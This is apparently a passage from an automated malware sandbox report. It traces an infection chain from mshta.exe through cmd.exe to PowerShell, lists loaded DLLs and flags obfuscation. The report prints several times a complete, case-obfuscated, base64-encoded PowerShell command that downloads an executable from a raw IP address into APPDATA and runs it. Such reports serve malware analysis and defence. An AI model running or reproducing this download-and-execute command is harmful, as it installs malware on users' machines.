jE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline"Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\winnit.exe "C:\Users\user\AppData\Roaming\winnit.exe" Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3925.tmp" "c:\Users\user\AppData\Local\Temp\5zyziwbf\CSCADB73B4CC47C40A8804A92B1B0BD1E62.TMP"Jump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Roaming\winnit.exe" Jump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mshtml.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msiso.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msimtf.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxgi.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: textinputframework.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: jscript9.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: vbscript.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: scrrun.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sxs.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msls31.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d2d1.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dwrite.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d11.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d10warp.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dataexchange.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dcomp.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\AppData\Roaming\winnit.exeSection loaded: ntmarta.dllJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\SettingsJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
            Source: Binary string: $]q8C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.pdb source: powershell.exe, 00000003.00000002.2180711036.00000000054E4000.00000004.00000800.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdbUGP source: winnit.exe, 00000006.00000003.2185219526.00000000037E0000.00000004.00001000.00020000.00000000.sdmp, winnit.exe, 00000006.00000003.2184427306.0000000003640000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2313705453.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2315536638.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003B00000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: winnit.exe, 00000006.00000003.2185219526.00000000037E0000.00000004.00001000.00020000.00000000.sdmp, winnit.exe, 00000006.00000003.2184427306.0000000003640000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000007.00000003.2313705453.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2315536638.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.2350802126.0000000003B00000.00000040.00001000.00020000.00000000.sdmp

            Data Obfuscation

            barindex
            PowerShell case anomaly found
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"Jump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAg